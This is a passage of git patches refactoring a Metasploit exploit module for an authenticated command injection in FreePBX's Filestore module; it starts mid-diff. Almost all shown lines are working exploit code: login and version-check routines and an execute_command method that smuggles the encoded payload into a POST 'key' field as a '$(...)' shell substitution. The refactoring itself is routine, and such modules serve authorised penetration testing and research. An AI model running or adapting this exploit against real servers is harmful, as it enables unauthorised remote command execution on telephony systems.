Rex::Text.rand_text_alphanumeric(8), - 'key' => "$(#{cmd})", - 'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}" + 'vars_post' => { + 'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}", + 'port' => rand(1024..65535).to_s, + 'user' => Rex::Text.rand_text_alphanumeric(8), + 'key' => "$(#{cmd})", + 'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}" + } ) end - - def exploit - authenticate - version = get_filestore_version - vprint_status("Filestore module version: #{version}") if version - execute_command(payload.encoded) - end end From fe3ce79034a7e6c28e9dbeda68fad08764e70e6f Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Thu, 27 Nov 2025 22:42:50 +0100 Subject: [PATCH 6/7] Refactor authenticate method to raise exceptions instead of returning special values --- .../http/freepbx_filestore_cmd_injection.rb | 28 +++++++++++++------ 1 file changed, 20 insertions(+), 8 deletions(-) diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb index 53f1700e2b464..2c34318ba5209 100644 --- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb +++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb @@ -82,6 +82,9 @@ def initialize(info = {}) ) end + class AuthenticationError < StandardError; end + class ConnectionError < StandardError; end + def check data = freepbx_get_login_page_data unless data[:detected] @@ -89,9 +92,13 @@ def check return CheckCode::Safe('Not FreePBX') end - cookie = authenticate - return CheckCode::Detected('Invalid credentials') if cookie == :auth_failed - return CheckCode::Safe('Not FreePBX') if cookie.nil? + begin + cookie = authenticate + rescue AuthenticationError + return CheckCode::Detected('Invalid credentials') + rescue ConnectionError + return CheckCode::Safe('Not FreePBX') + end version = get_filestore_version_cached(cookie) return CheckCode::Detected('Filestore module version could not be determined') unless version @@ -105,18 +112,23 @@ def check def exploit cookie = authenticate - fail_with(Failure::NoAccess, 'Invalid credentials') if cookie == :auth_failed - fail_with(Failure::Unknown, 'Connection error') if cookie.nil? - get_filestore_version_cached(cookie) execute_command(payload.encoded, { cookie: cookie }) + rescue AuthenticationError + fail_with(Failure::NoAccess, 'Invalid credentials') + rescue ConnectionError + fail_with(Failure::Unknown, 'Connection error') end def authenticate data = freepbx_get_login_page_data - return nil unless data[:detected] + raise ConnectionError, 'Target does not appear to be FreePBX' unless data[:detected] + + cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) + raise AuthenticationError, 'Invalid credentials' if cookie == :auth_failed + raise ConnectionError, 'Connection error' if cookie.nil? - freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) + cookie end def get_filestore_version_cached(cookie) From 9ec9022bc8409dc07d19cf58280c304984ffd55b Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Thu, 27 Nov 2025 22:43:35 +0100 Subject: [PATCH 7/7] Simplify execute_command to take cookie as direct parameter instead of hash --- .../exploits/unix/http/freepbx_filestore_cmd_injection.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb index 2c34318ba5209..fb574bed913ae 100644 --- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb +++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb @@ -113,7 +113,7 @@ def check def exploit cookie = authenticate get_filestore_version_cached(cookie) - execute_command(payload.encoded, { cookie: cookie }) + execute_command(payload.encoded, cookie) rescue AuthenticationError fail_with(Failure::NoAccess, 'Invalid credentials') rescue ConnectionError @@ -155,8 +155,7 @@ def get_filestore_version_cached(cookie) version end - def execute_command(cmd, opts = {}) - cookie = opts[:cookie] + def execute_command(cmd, cookie) fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie send_request_cgi(